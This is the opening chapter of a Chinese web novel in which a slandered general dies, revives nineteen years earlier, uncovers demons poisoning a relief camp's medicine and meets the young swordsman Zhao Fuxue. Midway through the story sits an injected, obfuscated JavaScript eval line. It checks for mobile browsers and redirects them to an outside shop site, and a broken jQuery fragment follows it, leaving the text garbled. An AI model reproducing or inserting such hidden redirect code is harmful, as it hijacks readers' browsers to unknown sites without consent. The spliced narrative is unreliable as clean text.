1. 第 1 章
    夏历两千七百三十三年,大夏天机军主将封澄与其铁骑军团覆灭于长煌大原外,三十万魔军俱亡,血甲残旗班师,大夏惨胜。

    纷乱战火之中,大夏黄金一代,几近凋零。

    帝大恸,三月后驾崩。大夏太后姜徵扶皇幼弟继位,垂帘听政。

    ——《夏书·天征纪年》

    西琼的春季漫长而昏暗。

    黄沙与白雪,竟能像如此这般融为一体。

    古安曾是西琼最繁华的一处城市,只可惜近日的魔物动乱,一时间门关户闭,街上只有几间铺子开门。

    不过此时,这几间铺子已被征用,做了制药除魔的后勤。

    街上满目惶然的人群乱成一团,唯有一人在板车上,眉目紧蹙,好像做了噩梦。

    封澄在察觉到自己的意识时,有些恍惚。

    “他老子的,封将军活着的时候,妖魔鬼怪哪敢猖狂,她才死,这魔族竟都跑上家门口了!”

    “……叛国将军,若不是她,我们岂能过成这个样子!”

    “这封将军装得着实到位!若非她未婚夫婿出面,谁人能知晓她竟私藏活人炼魔、倒卖天机灵器、私自与魔族相通?太后大义,开仓放粮,免征赋税,这才收拾了此人的烂摊子,封澄——哼!”

    “此人当年也是天纵奇才,年少时一手天机术谁人能敌?军功赫赫,其势如鲜花着锦、烈火烹油,谁知误入歧途,可惜,可惜。”

    封澄缓缓睁开了双眼,耳边的嘈杂声音霎时无影无踪。

    刺眼的日光刺得她睁不开眼,她满头冷汗。

    一旁陪伴的是一位异族少女,她非常着急地对围成一团的众人道:“她醒了,快喊人来!”

    有人道:“这时候哪能喊得人来?去要一碗粥给她喝了就行。”

    少女起身,衣衫簌簌,片刻,粥水递到封澄的面前,封澄头脑还发昏,下意识便躲避开,不料来者似乎相当坚定,硬是给她喂了一口。

    粥米的清香中带着药草的味道,令她精神微微一振。

    少女细心地吹了吹表面的药渣,满意地将粥递给她:“喝药吧。”

    封澄不动声色地眨了眨眼睛,一动不动地打量着异族少女。

    面前的少女的年龄约莫十四五岁,一副异族的长相,一双碧眼,看着年轻稚嫩。

    她道:“你叫我海洛斯便好。”

    ——此人面生,名字也生,没见过。

    更何况,她不是已经死了吗?

    利刃穿心,万魔吞噬,一身污名。

    “领了药粥的便自行离去,不要在此留驻!”有几个身着青色长袍的人喊话。

    驱散人堆后,又一脑门官司地跑开:“不要乱动死人!”

    封澄见人三三两两散去,神色皆是大为紧张的样子,不由得问道:“这里为何乱成这般模样?”

    还有死人。

    海洛斯吹了吹药粥,垂眸道:“古安城郊忽然有魔物出没,等天机师来除魔时,几个村子都没了,听说死了七十余人,魔物现在还没找到。”

    世间妖魔鬼怪横行,人间修道之人大致成两大派,志在逍遥的为散修,也叫修士,归属于朝廷的,便称之为天机师。

    无论何时何地,提起天机师来,总是无人不赞叹,无人不敬服的。

    只是——古安?

    封澄怔了半日,才将这个陌生的名字从脑海深处挖出来。

    大夏的确有这座城,可在十几年前,就更名为还沙了。

    难道说,她死而复生,脑内一时出现了错乱?

    久死初醒,难免头脑发昏嘛。

    她抿了抿唇,不动声色地打听:“今年是哪一年了?”

    海洛斯掰手指算算:“今年是天征四年,若要算夏历,应当是……两千七百一十四年?”

    封澄脸上当即是一片空白。

    天地良心,她眼睛一闭,竟然是直接死到了十九年前!

    天征二十三年,长煌大原一战后,她所在统领的天机军几乎全军战死,封澄死得不安息,昏昏沉沉里,把死后诸景看了个遍。

    她的挚友泼她污名,将要完婚的夫婿也踩着她的尸骨,夺军功、尚公主,生一双子女,平安顺遂。

    守卫的国土寸寸沦丧,魔族动乱,民不聊生,妻离子散。

    本以为死到未来,不曾想竟然回到了过去,封澄扶额叹息。

    海洛斯又道:“天机师不兴,魔族猖獗,这次作乱的魔族,听闻是棘手无比,极为凶悍。”

    “不知何时何日,才会出现一个盖世的天机师,将魔族通通打出去啊!”

    封澄正在低头喝粥,忽然间,她喝粥的手停住了。

    对,这个时候,还真有这人。

    她在入京读书,拜的是当世第一天机师,人称负雪先生的大修士。

    负雪先生少年成名,百家皆通,年纪轻轻便负“见素”长剑,行走江湖,镇恶除魔。一手神鬼莫测的剑法,更是斩过数万魔族,可谓是话本子里的英雄人物,俗世中的天纵奇才。

    只是天征五年,少年折剑。

    封澄只在年长者语焉不详的低语中听过此事的只言片语,据传赵负雪逢生死大劫,力竭惨胜,重伤两年,心魔入体。

    于是封澄拜入赵负雪门下时,他已闭门不出,病骨支离,连她这个唯一的徒弟都没见过他几回。

    可即便是这样一位病骨支离的赵负雪,依旧能镇得魔族龟缩于长煌大原外,数年不敢作乱。

    而此时此刻,这劫还没有应验。

    封澄心下微动,低头搅了搅粥,陡然间,她忽觉心跳快得不正常。

    她心下一沉,抬手摸心脉。

    ——中魔气了。

    封澄简直要气笑了——回来短短半个时辰,入口之物只有一口粥,就这玩意里头还能下毒。

    海洛斯见她下地,有些着急:“你要去哪里。”

    封澄收了粥碗,问她:“这药粥是在哪里熬的?”

    循着海洛斯指引的方向走去,封澄来到了一处简陋的窝棚。

    看起来是安置伤者的地方,几乎一步一个泥印,几口大锅架在火上,药香弥漫。

    封澄方一进去,潮乎乎的、带着臭气的血腥味便扑面而来,尾随而来的海洛斯忍不住连连干呕两声,忙退至门口,

    两个人面色青黑地守在锅边,似乎是察觉到封澄的靠近,猛地退后,封澄心道一声卧槽。

    面色青黑,前胸与腿上都向外冒着黑气——熬粥的二人分明就是魔物!

    ——

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13177574|138974||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    这众天机师都找不到的东西,竟然就龟缩在天机师的营地里里。

    好一个灯下黑——封澄大为叹服,十九年前的天机师,业务能力便这般令人汗颜吗!

    事到如今,也顾不得想这么多了,驱魔除魔,于她而言,从来也只是顺手的事,封澄随意摔了只陶碗,拾起陶片,随着陶片刺入指尖,鲜红血液霎时涌了出来,封澄取血,颤颤的血珠落在她的指尖。

    陡然,指尖鲜血好似游蛇腾然而起。

    那血线冲向村长与女人,涌入其七窍之中,天机师的血液钻入二魔体中,封澄的血液飞快追咬着魔物体中的魔气,二人嗬嗬乱叫,苦力挣扎,却终究败伏。

    此时二人的口鼻眼中不断涌出血水,难以分出是他们自己的还是封澄的。

    封澄除魔收血,却皱了眉头:“咦?”

    体内魔气没有解开,她仍然心跳得很快。

    她正要蹲下检查,身后却传来一声:“别动。”

    说话的男声相当清越,如清风过松竹,封澄一怔,莫名觉得有些耳熟。

    她想要回头,后背却被一硬物抵住,迫使她不得回头。

    “……”

    封澄举起双手,示意自己无害。

    “是人,是魔,在这里做什么?”那人不耐烦道。

    封澄想起这声音熟悉在哪了,瞳孔猛地一缩。

    她心跳得很快,不知是因毒药而跳动,还是因声音的主人而跳动。

    “是人,前来除魔。”封澄听到自己的声音艰涩道。

    抵在后背的武器放下了,此时此刻,封澄才意识到,顶着她的,大概是剑鞘。

    倘若答得不合他心意,等来的,便该是负雪剑的剑锋。

    来者越过她,径直走向尸身前。

    行走带风,身量甚高,一身白衣,束着长发,眉眼极为冷淡,好像雪一般。

    可偏偏眸色流转间,有动人瑰色。

    看清来者全貌后,封澄怔住了。

    她很不合时宜地想起众师兄师姐之言——赵先生的脸是大夏的不世出之宝,

    果然不错,且年轻时,更是多了几分少年人的傲气与锐气,几乎夺目。

    赵负雪并不看她——或者说他对除了魔物之外的其他连半分兴趣都无,他向封澄身后的两个死人走去,俯下身,一边检查,一边对着七窍流血的二人皱眉:“你用血除魔?”

    不待封澄回答,他便嗤道:“修的哪门子散学,歪门邪道。”

    ——比起当年呆在天机院之时,他长相几乎毫无变化,话却变了很多。

    又呛人,又罗里吧嗦。

    见了眼前这位小赵先生,她几乎怀念起来——大赵先生有一张似笑非笑又了无生趣的脸,能在他口中听到这么多话,除非太阳打南面升起来。

    赵负雪的动作很快,尸体检查完毕,他站起身来,提步便要走:“修习邪术没前途,天机院今年报名没结束,趁早走正道。”

    封澄挑挑眉,回呛道:“可我看你这个天机院出来的也不过如此?”

    赵负雪驻足:“?”

    “你若探查得当,便会发觉,这两只魔物体内的魔气,统统都是被灌进去的。”

    赵负雪驻足,好看的眉毛高高挑起:“怎么说?”